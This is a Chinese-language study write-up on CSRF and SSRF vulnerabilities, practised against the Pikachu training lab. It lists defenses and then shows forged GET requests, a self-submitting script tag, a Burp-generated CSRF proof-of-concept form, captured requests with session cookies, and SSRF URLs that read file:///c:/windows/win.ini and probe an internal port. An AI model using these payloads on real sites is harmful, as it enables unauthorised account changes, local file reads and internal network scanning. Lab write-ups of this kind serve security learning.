CSRF漏洞概念解析
一、CSRF漏洞
#CSRF 漏洞解释,原理等
#CSRF 漏洞检测,案例,防御等
#防御方案
1、当用户发送重要的请求时需要输入原始密码
2、设置随机 Token
3、检验referer来源,请求时判断请求链接是否为当前管理员
正在使用的页面(管理员在编辑文章
黑客发来恶意的修改密码链接
因为修改密码页面管理员并没有在操作
所以攻击失败)
4、设置验证码
5、限制请求方式只能为 POST
pikachu上csrf验证
抓包
看到的是get提交的数据包
/vul/csrf/csrfget/csrf_get_edit.php?sex=gg&phonenum=1111&add=11111&email=111111&submit=submit
也就是说可以这样直接伪造提交的数据包从而就该服务器内容。
发送数据包
http://10.1.1.7/vul/csrf/csrfget/csrf_get_edit.php?sex=22&phonenum=2222222&add=222222&email=22222222&submit=submit
伪造服务器点击
<script src="http://10.1.1.7/vul/csrf/csrfget/csrf_get_edit.php?sex=33&phonenum=3333333&add=333333&email=33333333&submit=submit"></script>
burpsuit 生成Poc
复制poc代码修改表单中的内容。然后放在服务器当中访问如修改为以下代码
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.1.1.7/vul/csrf/csrfget/csrf_get_edit.php">
<input type="hidden" name="sex" value="@" />
<input type="hidden" name="phonenum" value="@@@@1" />
<input type="hidden" name="add" value="@@@@@@1" />
<input type="hidden" name="email" value="@@@@@1" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
csrf防护
1、当用户发送重要的请求时需要输入原始密码
2、设置随机 Token
3、检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,
黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4、设置验证码
5、限制请求方式只能为 POST
token防护
GET /vul/csrf/csrftoken/token_get_edit.php?sex=gg&phonenum=1111&add=11111&email=11111&token=45096611500a646562638549385&submit=submit HTTP/1.1
Host: 10.1.1.7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.1.1.7/vul/csrf/csrftoken/token_get_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=p9f3jfbnbc7cucobc9djsukon3
Connection: close
从上面可以看到的是token随机字符串用来验证数据包的唯一性,由于数据包的唯一性也就导致csrf漏洞几乎不能被利用
referer
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=%40&phonenum=%40%40%40%401&add=%40%40%40%40%40%401&email=%40%40%40%40%401&submit=submit HTTP/1.1
Host: 10.1.1.7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.1.1.6/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=p9f3jfbnbc7cucobc9djsukon3
Connection: close
GET /vul/csrf/csrftoken/token_get_edit.php?sex=gg&phonenum=18428312222&add=1111111111111&email=857920461%40qq.com&token=15916611501d79dd97514223645&submit=submit HTTP/1.1
Host: 10.1.1.7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.1.1.7/vul/csrf/csrftoken/token_get_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=p9f3jfbnbc7cucobc9djsukon3
Connection: close
可以看到的是上面两个数据包referer来源是不一样的也就是说可以通过这样的方式来防止csrf漏洞,但是这种方式是不安全的因为可以通过抓包的方式修改referer值。
二、SSRF
原理:https://www.cnblogs.com/happystudyhuan/p/11802961.html
SSRF漏洞介绍: SSRF漏洞(服务器端请求伪造):
是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
(正是因为它是由服务端发起的
所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF漏洞原理:
SSRF形成的原因大都是
由于服务端提供了从其他服务器应用获取数据的功能
且没有对目标地址做过滤与限制。
比如从指定URL地址获取网页文本内容,
加载指定地址的图片,下载等等。
利用的是服务端的请求伪造。
SSRF是利用存在缺陷的web应用作为代理攻击远程
和本地的服务器。
SSRF漏洞利用手段:
1.可以对外网、内网、本地进行端口扫描
某些情况下端口的Banner会回显出来(比如3306的);
2.攻击运行在内网或本地的有漏洞程序(比如溢出);
3.可以对内网Web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹;
4.攻击内网或外网有漏洞的Web应用;
5.使用file:///协议读取本地文件(或其他协议)
http://www.xingkonglangzi.com/ssrf.php?url=192.168.1.10:3306
http://www.xingkonglangzi.com/ssrf.php?url=file:///c:/windows/win.ini
SSRF漏洞出现点:
1.分享:通过URL地址分享网页内容
2.转码服务(通过URL地址把原地址的网页内容调优,使其适合手机屏幕的浏览)
3.在线翻译
4.图片加载与下载:通过URL地址加载或下载图片
5.图片、文章收藏功能
6.未公开的api实现及调用URL的功能
7.从URL关键字中寻找
pikachu ssrf漏洞验证
第一步正常打开ssrf页面
可以看到的是链接已经发生了变化
http://10.1.1.7/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php